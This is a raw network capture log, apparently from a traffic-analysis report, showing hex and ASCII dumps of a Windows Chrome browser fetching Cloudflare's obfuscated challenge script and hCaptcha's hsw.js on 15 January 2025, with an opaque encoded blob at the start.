2025-01-15 14:12:15 UTC	1369	IN	Data Raw: 4d 33 5a 4d 52 33 52 75 53 54 77 37 57 45 39 4e 65 31 42 74 56 6e 52 57 52 6f 53 49 55 6f 64 58 66 34 64 75 67 32 65 4f 54 45 31 77 69 34 79 5a 59 35 64 4e 63 49 64 51 6a 48 56 32 67 4a 64 75 68 59 35 68 64 33 68 38 66 5a 74 73 68 61 4b 69 6d 34 43 66 72 48 47 50 6c 48 4b 6b 75 6f 53 52 65 34 69 2f 6c 72 61 51 6a 71 53 53 73 49 4f 69 75 70 2b 4c 79 48 2b 4e 6a 34 61 68 77 70 37 4a 30 35 58 54 79 4d 2f 58 6d 72 62 46 6e 73 6a 49 74 73 44 58 32 61 53 6d 74 4f 4b 78 35 4f 69 38 33 75 4f 35 77 72 76 6f 7a 36 7a 53 72 75 4b 76 2b 72 62 4a 38 62 66 59 79 75 2f 53 36 73 2f 31 39 76 4f 35 33 67 66 65 78 63 66 73 34 4f 30 45 2f 65 48 4d 34 2b 41 43 42 42 6e 54 45 67 6a 35 30 2b 76 31 33 66 49 43 49 66 6a 39 34 64 6b 69 2f 42 66 39 2b 67 67 50 36 7a 41 42 36 42 33 Data Ascii: M3ZMR3RuSTw7WE9Ne1BtVnRWRoSIUodXf4dug2eOTE1wi4yZY5dNcIdQjHV2gJduhY5hd3h8fZtshaKim4CfrHGPlHKkuoSRe4i/lraQjqSSsIOiup+LyH+Nj4ahwp7J05XTyM/XmrbFnsjItsDX2aSmtOKx5Oi83uO5wrvoz6zSruKv+rbJ8bfYyu/S6s/19vO53gfexcfs4O0E/eHM4+ACBBnTEgj50+v13fICIfj94dki/Bf9+ggP6zAB6B3
2025-01-15 14:12:15 UTC	1369	IN	Data Raw: 33 46 72 57 6b 34 79 67 58 73 38 50 33 35 33 68 46 56 6a 59 57 74 62 66 6d 4f 46 55 45 39 73 68 6d 47 50 5a 49 4e 6e 6c 35 69 5a 6c 59 75 51 56 70 61 51 6d 46 71 65 5a 5a 5a 31 5a 4b 56 37 67 6d 5a 35 68 5a 6d 64 73 48 4b 4d 69 62 43 55 71 61 4f 34 72 36 79 79 6e 70 36 2f 6d 59 2b 50 6b 71 4f 44 72 35 53 39 79 63 75 59 71 36 6d 39 69 4c 2b 35 70 4c 44 4c 79 72 53 2f 7a 64 48 43 70 74 47 74 6b 4d 76 57 32 4c 2b 33 72 4f 57 30 75 75 69 30 35 2b 43 69 36 4b 53 38 36 73 58 61 36 2b 75 30 78 50 58 78 75 50 50 47 2b 62 72 2b 39 2f 6a 72 36 38 44 42 38 77 66 32 78 50 72 57 2b 74 6e 66 45 4f 44 4d 44 75 58 37 44 38 66 68 42 64 45 4c 39 64 49 4b 45 78 37 34 38 78 48 30 39 78 6a 6b 42 77 41 49 41 66 73 72 43 43 76 33 43 42 34 49 36 54 51 31 49 43 72 70 43 43 77 36 Data Ascii: 3FrWk4ygXs8P353hFVjYWtbfmOFUE9shmGPZINnl5iZlYuQVpaQmFqeZZZ1ZKV7gmZ5hZmdsHKMibCUqaO4r6yynp6/mY+PkqODr5S9ycuYq6m9iL+5pLDLyrS/zdHCptGtkMvW2L+3rOW0uui05+Ci6KS86sXa6+u0xPXxuPPG+br+9/jr68DB8wf2xPrW+tnfEODMDuX7D8fhBdEL9dIKEx748xH09xjkBwAIAfsrCCv3CB4I6TQ1ICrpCCw6
2025-01-15 14:12:15 UTC	1369	IN	Data Raw: 31 5a 62 54 64 5a 63 55 46 70 69 46 61 4d 64 56 69 4a 6b 59 69 49 61 6d 64 75 6c 57 4a 7a 68 59 4f 50 69 49 79 53 64 70 4b 51 6c 59 74 2f 63 35 71 54 6d 59 6c 6d 61 70 32 6a 68 34 68 39 67 59 43 73 6e 4c 53 69 69 36 43 6d 71 4c 61 73 6e 71 65 2b 6d 72 71 39 75 48 79 56 70 62 4f 58 71 71 43 70 6d 37 65 73 7a 5a 7a 50 30 38 2b 6a 72 61 44 50 30 37 48 4e 79 74 66 57 70 72 58 42 6e 74 58 42 72 64 72 42 76 74 62 6d 75 63 48 57 32 65 2b 70 30 4c 48 6e 35 39 2b 73 73 4f 54 68 35 62 62 4d 75 37 58 54 7a 72 6e 2b 75 2f 66 30 30 74 77 4a 39 2b 58 64 2b 76 37 64 44 41 76 6e 38 51 77 4a 36 75 58 71 35 2f 58 36 37 64 72 74 36 74 67 66 36 39 72 32 45 66 76 74 33 65 41 42 35 69 63 6f 48 75 63 6b 4d 4f 38 42 49 2f 34 66 45 69 6b 76 45 68 54 31 4d 68 67 5a 2f 68 67 62 46 Data Ascii: 1ZbTdZcUFpiFaMdViJkYiIamdulWJzhYOPiIySdpKQlYt/c5qTmYlmap2jh4h9gYCsnLSii6CmqLasnqe+mrq9uHyVpbOXqqCpm7eszZzP08+jraDP07HNytfWprXBntXBrdrBvtbmucHW2e+p0LHn59+ssOTh5bbMu7XTzrn+u/f00twJ9+Xd+v7dDAvn8QwJ6uXq5/X67drt6tgf69r2Efvt3eAB5icoHuckMO8BI/4fEikvEhT1MhgZ/hgbF
2025-01-15 14:12:15 UTC	1369	IN	Data Raw: 4a 56 58 71 4e 61 49 79 4a 54 6e 74 37 58 45 78 31 64 6c 53 43 61 57 2b 4b 64 35 32 63 56 6e 4a 37 6e 47 42 66 56 32 4a 35 6c 35 57 72 61 33 57 59 6d 6d 2b 6e 62 36 4f 64 73 61 36 45 63 72 4b 69 71 34 61 35 6a 36 75 59 75 4b 2b 4f 6c 59 4b 35 77 35 4b 6e 76 49 61 6c 6d 71 58 4b 30 49 66 4d 76 74 53 4c 30 4c 48 43 6b 61 36 5a 71 71 36 57 76 61 37 51 6d 61 43 31 76 4b 50 52 73 75 6a 64 31 4c 75 36 75 4b 58 4b 78 4d 2f 73 33 75 48 4a 73 4e 53 32 39 38 62 6e 7a 65 7a 6f 36 73 72 51 33 39 66 42 32 66 58 64 33 77 76 32 2f 76 6e 48 37 4e 30 48 43 4e 73 4e 42 41 6f 54 35 51 58 35 36 39 4d 4e 31 2f 62 64 46 78 59 55 47 2f 77 52 47 41 6b 54 49 41 6f 4a 44 64 38 65 45 54 45 6f 36 7a 51 48 4e 76 37 32 4e 79 73 58 44 44 6f 36 49 44 62 38 2b 42 73 73 47 7a 6b 77 4f 54 Data Ascii: JVXqNaIyJTnt7XEx1dlSCaW+Kd52cVnJ7nGBfV2J5l5Wra3WYmm+nb6Odsa6EcrKiq4a5j6uYuK+OlYK5w5KnvIalmqXK0IfMvtSL0LHCka6Zqq6Wva7QmaC1vKPRsujd1Lu6uKXKxM/s3uHJsNS298bnzezo6srQ39fB2fXd3wv2/vnH7N0HCNsNBAoT5QX569MN1/bdFxYUG/wRGAkTIAoJDd8eETEo6zQHNv72NysXDDo6IDb8+BssGzkwOT
2025-01-15 14:12:15 UTC	1369	IN	Data Raw: 66 58 32 51 54 4a 57 42 68 6e 69 59 6c 48 43 49 69 70 31 6e 57 49 71 59 6d 48 36 41 6a 5a 75 6f 64 4b 5a 79 6c 46 36 41 6f 58 31 35 6f 61 4b 4a 6e 59 47 68 6e 37 65 78 71 35 61 64 75 70 36 52 6e 34 6d 52 65 33 75 76 6d 49 58 46 68 37 57 6f 6e 37 57 37 6d 36 50 44 69 72 4c 41 6f 71 66 57 78 71 6d 74 71 64 7a 52 70 37 72 4b 32 62 44 45 31 4b 44 69 30 74 75 6c 33 2b 7a 5a 36 75 4f 6e 71 37 75 74 37 62 43 78 31 4b 2b 76 31 38 4c 6a 36 75 72 64 7a 66 71 37 34 41 44 61 2f 76 4c 57 38 73 6a 57 34 74 33 68 32 65 4d 49 7a 77 51 48 35 4f 48 66 43 74 44 35 47 4e 4c 63 33 4e 55 57 33 52 72 62 42 4f 34 6b 37 77 62 6a 48 51 66 35 46 2b 6b 66 4a 67 63 6c 37 43 34 68 39 51 41 78 39 79 67 59 48 66 66 32 4d 42 33 32 51 52 2f 39 51 52 5a 44 52 7a 73 72 4a 7a 34 48 54 7a 34 Data Ascii: fX2QTJWBhniYlHCIip1nWIqYmH6AjZuodKZylF6AoX15oaKJnYGhn7exq5adup6Rn4mRe3uvmIXFh7Won7W7m6PDirLAoqfWxqmtqdzRp7rK2bDE1KDi0tul3+zZ6uOnq7ut7bCx1K+v18Lj6urdzfq74ADa/vLW8sjW4t3h2eMIzwQH5OHfCtD5GNLc3NUW3RrbBO4k7wbjHQf5F+kfJgcl7C4h9QAx9ygYHff2MB32QR/9QRZDRzsrJz4HTz4
2025-01-15 14:12:15 UTC	1369	IN	Data Raw: 70 4b 56 5a 6b 79 52 56 49 5a 34 6b 34 71 4a 59 48 64 63 57 36 43 49 5a 34 42 70 65 57 56 66 71 4a 2b 6b 72 58 70 74 71 61 71 4e 71 72 4b 74 6a 33 53 35 65 36 39 78 76 37 75 74 6d 6f 36 6b 6c 34 65 6f 67 5a 4f 43 76 73 4b 35 78 62 6d 78 6e 4d 54 4f 78 37 4b 2f 73 4a 57 6f 74 74 69 34 31 63 71 57 6d 61 48 6b 34 2b 43 79 33 38 69 2b 35 4b 6d 71 32 75 62 51 38 4d 4c 4a 73 73 54 50 35 4e 2b 32 31 4d 71 32 7a 72 6a 71 79 2b 71 37 41 2f 44 56 77 63 59 45 79 50 6b 4d 35 73 73 46 77 41 2f 4d 41 74 49 4d 45 64 54 75 34 52 4d 56 46 67 33 72 2f 51 41 58 45 4e 30 68 33 67 48 65 41 50 72 38 38 79 6e 6c 39 79 55 6a 4a 43 77 77 36 53 45 49 48 76 45 4a 44 54 6b 50 43 7a 45 33 39 6a 51 65 41 45 49 75 45 44 51 56 4f 45 70 4b 4a 52 70 49 53 55 45 4c 51 44 4e 4e 4b 53 63 68 Data Ascii: pKVZkyRVIZ4k4qJYHdcW6CIZ4BpeWVfqJ+krXptqaqNqrKtj3S5e69xv7utmo6kl4eogZOCvsK5xbmxnMTOx7K/sJWotti41cqWmaHk4+Cy38i+5Kmq2ubQ8MLJssTP5N+21Mq2zrjqy+q7A/DVwcYEyPkM5ssFwA/MAtIMEdTu4RMVFg3r/QAXEN0h3gHeAPr88ynl9yUjJCww6SEIHvEJDTkPCzE39jQeAEIuEDQVOEpKJRpISUELQDNNKSch

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.7	50666	104.18.94.41	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:15 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=902675a0487a1a24&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:15 UTC	331	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:15 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 120722 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 902675ab5c0543b3-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 14:12:15 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 55 52 61 4f 61 38 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.URaOa8={"metadata":{"challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fc
2025-01-15 14:12:15 UTC	1369	IN	Data Raw: 65 25 32 30 70 65 72 73 69 73 74 73 2e 22 2c 22 74 65 73 74 69 6e 67 5f 6f 6e 6c 79 5f 61 6c 77 61 79 73 5f 70 61 73 73 22 3a 22 54 65 73 74 69 6e 67 25 32 30 6f 6e 6c 79 25 32 43 25 32 30 61 6c 77 61 79 73 25 32 30 70 61 73 73 2e 22 2c 22 74 69 6d 65 5f 63 68 65 63 6b 5f 63 61 63 68 65 64 5f 77 61 72 6e 69 6e 67 22 3a 22 59 6f 75 72 25 32 30 64 65 76 69 63 65 25 32 30 63 6c 6f 63 6b 25 32 30 69 73 25 32 30 73 65 74 25 32 30 74 6f 25 32 30 61 25 32 30 77 72 6f 6e 67 25 32 30 74 69 6d 65 25 32 30 6f 72 25 32 30 74 68 69 73 25 32 30 63 68 61 6c 6c 65 6e 67 65 25 32 30 70 61 67 65 25 32 30 77 61 73 25 32 30 61 63 63 69 64 65 6e 74 61 6c 6c 79 25 32 30 63 61 63 68 65 64 25 32 30 62 79 25 32 30 61 6e 25 32 30 69 6e 74 65 72 6d 65 64 69 61 72 79 25 32 30 61 6e Data Ascii: e%20persists.","testing_only_always_pass":"Testing%20only%2C%20always%20pass.","time_check_cached_warning":"Your%20device%20clock%20is%20set%20to%20a%20wrong%20time%20or%20this%20challenge%20page%20was%20accidentally%20cached%20by%20an%20intermediary%20an
2025-01-15 14:12:15 UTC	1369	IN	Data Raw: 2c 66 59 2c 67 61 2c 67 67 2c 67 68 2c 67 69 2c 67 73 2c 67 44 2c 67 48 2c 65 59 2c 65 5a 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 30 37 37 29 29 2f 31 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 37 38 35 29 29 2f 32 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 39 30 31 29 29 2f 33 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 33 35 34 29 29 2f 34 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 38 35 35 29 29 2f 35 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 38 38 39 29 29 2f 36 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 38 34 35 29 29 2f 37 29 2b 2d 70 61 72 73 65 49 6e 74 28 Data Ascii: ,fY,ga,gg,gh,gi,gs,gD,gH,eY,eZ){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(1077))/1(-parseInt(gI(785))/2)+parseInt(gI(901))/3(-parseInt(gI(1354))/4)+parseInt(gI(855))/5+-parseInt(gI(889))/6*(-parseInt(gI(845))/7)+-parseInt(
2025-01-15 14:12:15 UTC	1369	IN	Data Raw: 72 65 74 75 72 6e 20 47 28 48 2c 49 2c 4a 29 7d 2c 27 55 75 52 4a 46 27 3a 68 58 28 31 39 31 33 29 2c 27 48 4d 59 4b 62 27 3a 68 58 28 31 36 38 36 29 2c 27 77 61 66 46 6c 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 2c 49 29 7b 72 65 74 75 72 6e 20 47 28 48 2c 49 29 7d 2c 27 4c 6e 67 4b 79 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 2c 49 29 7b 72 65 74 75 72 6e 20 47 28 48 2c 49 29 7d 7d 2c 6f 5b 68 58 28 31 30 35 33 29 5d 28 6e 75 6c 6c 2c 68 29 7c 7c 6f 5b 68 58 28 31 31 32 39 29 5d 28 76 6f 69 64 20 30 2c 68 29 29 72 65 74 75 72 6e 20 6a 3b 66 6f 72 28 78 3d 66 79 28 68 29 2c 67 5b 68 58 28 39 37 38 29 5d 5b 68 58 28 39 36 36 29 5d 26 26 28 78 3d 78 5b 68 58 28 39 38 34 29 5d 28 67 5b 68 58 28 39 37 38 29 5d 5b 68 58 28 39 36 36 29 5d 28 68 29 29 29 2c 78 Data Ascii: return G(H,I,J)},'UuRJF':hX(1913),'HMYKb':hX(1686),'wafFl':function(G,H,I){return G(H,I)},'LngKy':function(G,H,I){return G(H,I)}},o[hX(1053)](null,h)\|\|o[hX(1129)](void 0,h))return j;for(x=fy(h),g[hX(978)][hX(966)]&&(x=x[hX(984)](g[hX(978)][hX(966)](h))),x
2025-01-15 14:12:15 UTC	1369	IN	Data Raw: 29 29 2c 6f 2b 2b 29 3b 7d 65 6c 73 65 20 68 5b 6e 5d 3d 69 5b 6c 5b 6d 5d 5d 5b 69 30 28 31 34 38 35 29 5d 28 66 75 6e 63 74 69 6f 6e 28 73 29 7b 72 65 74 75 72 6e 27 6f 2e 27 2b 73 7d 29 7d 2c 66 42 3d 66 75 6e 63 74 69 6f 6e 28 69 31 2c 64 2c 65 2c 66 2c 67 29 7b 72 65 74 75 72 6e 20 69 31 3d 67 4a 2c 64 3d 7b 27 70 58 64 44 45 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2b 69 7d 2c 27 4d 68 41 75 77 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 3d 68 7d 2c 27 4d 51 4d 6e 4c 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 78 65 6c 4b 49 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2b 69 7d 2c 27 6a 53 71 70 73 27 3a 66 75 6e Data Ascii: )),o++);}else h[n]=i[l[m]][i0(1485)](function(s){return'o.'+s})},fB=function(i1,d,e,f,g){return i1=gJ,d={'pXdDE':function(h,i){return h+i},'MhAuw':function(h,i){return i===h},'MQMnL':function(h,i){return h(i)},'xelKI':function(h,i){return h+i},'jSqps':fun
2025-01-15 14:12:15 UTC	1369	IN	Data Raw: 28 69 29 7d 2c 27 6c 4a 58 56 73 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 2a 68 7d 2c 27 50 51 41 45 51 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 73 74 4b 72 76 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 21 3d 69 7d 2c 27 51 43 44 54 76 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 26 69 7d 2c 27 64 6e 6b 53 41 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 21 3d 3d 69 7d 2c 27 41 45 76 72 69 27 3a 69 31 28 31 34 36 38 29 2c 27 44 75 67 75 71 27 3a 69 31 28 35 39 37 29 2c 27 48 6d 4b 58 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 21 3d 68 7d 2c 27 56 4b 66 51 7a 27 3a Data Ascii: (i)},'lJXVs':function(h,i){return i*h},'PQAEQ':function(h,i){return h(i)},'stKrv':function(h,i){return h!=i},'QCDTv':function(h,i){return h&i},'dnkSA':function(h,i){return h!==i},'AEvri':i1(1468),'Duguq':i1(597),'HmKXh':function(h,i){return i!=h},'VKfQz':
2025-01-15 14:12:15 UTC	1369	IN	Data Raw: 46 2b 2b 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 34 27 3a 69 66 28 4f 62 6a 65 63 74 5b 69 37 28 31 33 36 30 29 5d 5b 69 37 28 31 38 31 31 29 5d 5b 69 37 28 31 36 31 39 29 5d 28 43 2c 44 29 29 7b 69 66 28 64 5b 69 37 28 31 32 37 36 29 5d 28 32 35 36 2c 44 5b 69 37 28 31 37 30 37 29 5d 28 30 29 29 29 7b 66 6f 72 28 78 3d 30 3b 64 5b 69 37 28 37 39 38 29 5d 28 78 2c 47 29 3b 49 3c 3c 3d 31 2c 4a 3d 3d 64 5b 69 37 28 31 31 34 37 29 5d 28 6a 2c 31 29 3f 28 4a 3d 30 2c 48 5b 69 37 28 31 34 31 38 29 5d 28 64 5b 69 37 28 31 33 34 34 29 5d 28 6f 2c 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 78 2b 2b 29 3b 66 6f 72 28 50 3d 44 5b 69 37 28 31 37 30 37 29 5d 28 30 29 2c 78 3d 30 3b 64 5b 69 37 28 31 32 37 36 29 5d 28 38 2c 78 29 3b 49 3d 64 5b 69 37 28 39 30 32 29 Data Ascii: F++;continue;case'4':if(Object[i7(1360)][i7(1811)][i7(1619)](C,D)){if(d[i7(1276)](256,D[i7(1707)](0))){for(x=0;d[i7(798)](x,G);I<<=1,J==d[i7(1147)](j,1)?(J=0,H[i7(1418)](d[i7(1344)](o,I)),I=0):J++,x++);for(P=D[i7(1707)](0),x=0;d[i7(1276)](8,x);I=d[i7(902)
2025-01-15 14:12:15 UTC	1369	IN	Data Raw: 35 2c 50 29 2c 4a 3d 3d 64 5b 69 37 28 38 32 35 29 5d 28 6a 2c 31 29 3f 28 4a 3d 30 2c 48 5b 69 37 28 31 34 31 38 29 5d 28 6f 28 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 50 3d 30 2c 78 2b 2b 29 3b 66 6f 72 28 50 3d 44 5b 69 37 28 31 37 30 37 29 5d 28 30 29 2c 78 3d 30 3b 31 36 3e 78 3b 49 3d 49 3c 3c 31 2e 30 33 7c 50 26 31 2c 4a 3d 3d 6a 2d 31 3f 28 4a 3d 30 2c 48 5b 69 37 28 31 34 31 38 29 5d 28 6f 28 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 50 3e 3e 3d 31 2c 78 2b 2b 29 3b 7d 45 2d 2d 2c 64 5b 69 37 28 31 31 35 30 29 5d 28 30 2c 45 29 26 26 28 45 3d 4d 61 74 68 5b 69 37 28 31 36 36 30 29 5d 28 32 2c 47 29 2c 47 2b 2b 29 2c 64 65 6c 65 74 65 20 43 5b 44 5d 7d 65 6c 73 65 20 66 6f 72 28 50 3d 42 5b 44 5d 2c 78 3d 30 3b 64 5b 69 37 28 31 37 32 31 29 5d 28 78 Data Ascii: 5,P),J==d[i7(825)](j,1)?(J=0,H[i7(1418)](o(I)),I=0):J++,P=0,x++);for(P=D[i7(1707)](0),x=0;16>x;I=I<<1.03\|P&1,J==j-1?(J=0,H[i7(1418)](o(I)),I=0):J++,P>>=1,x++);}E--,d[i7(1150)](0,E)&&(E=Math[i7(1660)](2,G),G++),delete C[D]}else for(P=B[D],x=0;d[i7(1721)](x
2025-01-15 14:12:15 UTC	1369	IN	Data Raw: 29 2c 48 3e 3e 3d 31 2c 64 5b 69 63 28 31 35 30 33 29 5d 28 30 2c 48 29 26 26 28 48 3d 6a 2c 47 3d 64 5b 69 63 28 31 34 38 36 29 5d 28 6f 2c 49 2b 2b 29 29 2c 4a 7c 3d 64 5b 69 63 28 31 33 31 37 29 5d 28 30 3c 4c 3f 31 3a 30 2c 46 29 2c 46 3c 3c 3d 31 29 3b 4d 3d 64 5b 69 63 28 36 32 37 29 5d 28 65 2c 4a 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 3a 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 69 63 28 31 36 36 30 29 5d 28 32 2c 31 36 29 2c 46 3d 31 3b 64 5b 69 63 28 36 32 35 29 5d 28 46 2c 4b 29 3b 4c 3d 64 5b 69 63 28 36 32 38 29 5d 28 47 2c 48 29 2c 48 3e 3e 3d 31 2c 48 3d 3d 30 26 26 28 48 3d 6a 2c 47 3d 6f 28 49 2b 2b 29 29 2c 4a 7c 3d 64 5b 69 63 28 31 33 31 37 29 5d 28 30 3c 4c 3f 31 3a 30 2c 46 29 2c 46 3c 3c 3d 31 29 3b 4d 3d 64 5b 69 63 28 36 39 Data Ascii: ),H>>=1,d[ic(1503)](0,H)&&(H=j,G=d[ic(1486)](o,I++)),J\|=d[ic(1317)](0<L?1:0,F),F<<=1);M=d[ic(627)](e,J);break;case 1:for(J=0,K=Math[ic(1660)](2,16),F=1;d[ic(625)](F,K);L=d[ic(628)](G,H),H>>=1,H==0&&(H=j,G=o(I++)),J\|=d[ic(1317)](0<L?1:0,F),F<<=1);M=d[ic(69
2025-01-15 14:12:15 UTC	1369	IN	Data Raw: 3d 3d 3d 6e 7d 2c 67 5b 69 64 28 39 32 35 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 73 29 7b 72 65 74 75 72 6e 20 6e 2b 73 7d 2c 67 5b 69 64 28 38 34 34 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 73 29 7b 72 65 74 75 72 6e 20 6e 25 73 7d 2c 67 5b 69 64 28 35 36 37 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 73 29 7b 72 65 74 75 72 6e 20 6e 26 73 7d 2c 68 3d 67 2c 6d 2c 6a 3d 33 32 2c 6c 3d 68 5b 69 64 28 39 32 35 29 5d 28 65 4d 5b 69 64 28 31 33 31 32 29 5d 5b 69 64 28 31 35 34 33 29 5d 2c 27 5f 27 29 2b 30 2c 6c 3d 6c 5b 69 64 28 34 37 31 29 5d 28 2f 2e 2f 67 2c 66 75 6e 63 74 69 6f 6e 28 6e 2c 73 2c 69 65 29 7b 69 66 28 69 65 3d 69 64 2c 68 5b 69 65 28 34 36 37 29 5d 28 69 65 28 31 37 30 35 29 2c 69 65 28 31 37 30 35 29 29 29 6a 5e 3d 6c 5b 69 65 28 31 37 Data Ascii: ===n},g[id(925)]=function(n,s){return n+s},g[id(844)]=function(n,s){return n%s},g[id(567)]=function(n,s){return n&s},h=g,m,j=32,l=h[id(925)](eM[id(1312)][id(1543)],'_')+0,l=l[id(471)](/./g,function(n,s,ie){if(ie=id,h[ie(467)](ie(1705),ie(1705)))j^=l[ie(17

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.7	50669	104.19.230.21	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:15 UTC	674	OUT	GET /c/c0e4881c9623bd415ad16c18f8b6f5bbce9a12f6fb8a5e7bf6dd055fd2816999/hsw.js HTTP/1.1 Host: newassets.hcaptcha.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://newassets.hcaptcha.com/captcha/v1/41c61f4f356516806017107484a3b43e62b92b84/static/hcaptcha.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:15 UTC	462	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:15 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Cache-Control: max-age=3024000 etag: W/"76a66901a8ec6f9cc199640277d83270" vary: accept-encoding vary: Origin alt-svc: h3=":443"; ma=86400 CF-Cache-Status: HIT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 902675ab5e3e41ed-EWR
2025-01-15 14:12:15 UTC	907	IN	Data Raw: 37 64 63 36 0d 0a 76 61 72 20 68 73 77 3d 66 75 6e 63 74 69 6f 6e 20 73 78 41 4e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 66 58 28 66 58 2c 61 77 2c 68 56 29 7b 72 65 74 75 72 6e 20 61 77 3c 3d 66 58 26 26 66 58 3c 3d 68 56 7d 76 61 72 20 61 77 3d 66 75 6e 63 74 69 6f 6e 28 66 58 29 7b 74 68 69 73 2e 74 6f 6b 65 6e 73 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 66 58 29 2c 74 68 69 73 2e 74 6f 6b 65 6e 73 2e 72 65 76 65 72 73 65 28 29 7d 2c 68 56 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 66 58 3d 5b 22 69 30 7a 67 6d 5a 6e 67 72 47 22 2c 22 44 67 76 59 42 77 4c 55 79 78 72 4c 22 2c 22 69 30 6e 64 71 30 6d 57 6d 61 22 2c 22 79 33 6a 4c 79 78 72 4c 74 32 7a 4d 7a 78 69 22 2c 22 43 4d 44 49 79 73 47 22 2c 22 